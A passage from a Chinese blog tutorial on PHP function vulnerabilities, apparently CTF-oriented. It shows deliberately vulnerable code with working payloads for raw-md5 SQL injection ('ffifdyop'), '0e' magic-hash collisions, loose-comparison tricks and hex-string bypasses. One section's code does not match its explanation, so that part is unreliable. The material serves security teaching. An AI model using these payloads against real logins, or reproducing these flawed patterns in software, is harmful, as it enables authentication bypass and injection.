PHP代码审计之函数漏洞(下)

14 篇文章 1 订阅
12 篇文章 3 订阅

前言

此篇文件属于代码审计篇的一个环节,其意图是为总结php常见函数漏洞,分为上下两节,此为下节!此篇与命令注入绕过篇和sql注入回顾篇同属一个系列!欢迎各位斧正!

目录

前言

正文

md5()引发的注入

md5加密相等绕过

数字验证正则绕过

md5函数验证绕过

十六进制与数字比较绕过

后记


正文

md5()引发的注入

<?php
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
} 
?>

MD5之后是hex格式,转化到字符串时如果出现'or'xxxx的形式,就会导致注入。 payload:ffifdyop

md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c
转换成字符串后为
'or'6�]��!r,��b�

md5加密相等绕过

代码

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
​
?>

题解:

http://127.0.0.1/Php_Bug/13.php?a=240610708

==对比的时候会进行数据转换,0eXXXXXXXXXX 转成0了,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
​
md5('240610708'); // 0e462097431906509019562988736854 
md5('QNKCDZO'); // 0e830400451993494058024219903391 

把你的密码设成 0x1234Ab,然后退出登录再登录,换密码 1193131登录,如果登录成功,那么密码绝对是明文保存的没跑。

同理,密码设置为 240610708,换密码 QNKCDZO登录能成功,那么密码没加盐直接md5保存的。

资料:

数字验证正则绕过

<?php
​
error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字符的 ASCII 码值
    $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    { 
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
​
?>

题解:

0 >= preg_match('/^[[:graph:]]{12,}$/', $password) 意为必须是12个字符以上(非空格非TAB之外的内容)

$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
if (6 > preg_match_all($reg, $password, $arr)) 

意为匹配到的次数要大于6次

$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
foreach ($ps as $pt) 
{ 
    if (preg_match("/[[:$pt:]]+/", $password)) 
        $c += 1; 
} 
if ($c < 3) break; 

意为必须要有大小写字母,数字,字符内容三种与三种以上

if ("42" == $password) echo $flag; 

意为必须等于42

答案:

42.00e+00000000000 
或
420.000000000e-1

资料:

md5函数验证绕过

<?php
error_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){
    echo $flag;
}
?>

题解:

if(md5($temp)==0)要使md5函数加密值为0

  • 方法一: 使password不赋值,为NULLNULL == 0true http://127.0.0.1/php_bug/23.php?password= http://127.0.0.1/php_bug/23.php
  • 方法二: 经过MD5运算后,为0e******的形式,其结果为0*10n次方,结果还是零 http://127.0.0.1/php_bug/23.php?password=240610708http://127.0.0.1/php_bug/23.php?password=QNKCDZO

十六进制与数字比较绕过

栗子:

<?php
​
error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字符的 ASCII 码值
    $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    { 
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
​
?>

题解:

这里,它不让输入1到9的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了,大家都知道计算机中的进制转换,当然也是可以拿来比较的,0x开头则表示16进制,将这串数字转换成16进制之后发现,是deadc0de,在开头加上0x,代表这个是16进制的数字,然后再和十进制的 3735929054比较,答案当然是相同的,返回true拿到flag

echo  dechex ( 3735929054 ); // 将3735929054转为16进制
结果为:deadc0de

构造:

http://127.0.0.1/Php_Bug/20.php?password=0xdeadc0de

 

后记

此篇为PHP函数漏洞审计下篇,总结了一些常见函数漏洞,并结合了CTF题目进行分析!PHP代码审计系列还会继续,希望大家能有所收获!不积硅步,无以至千里!

PHP代码审计之函数漏洞(上)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值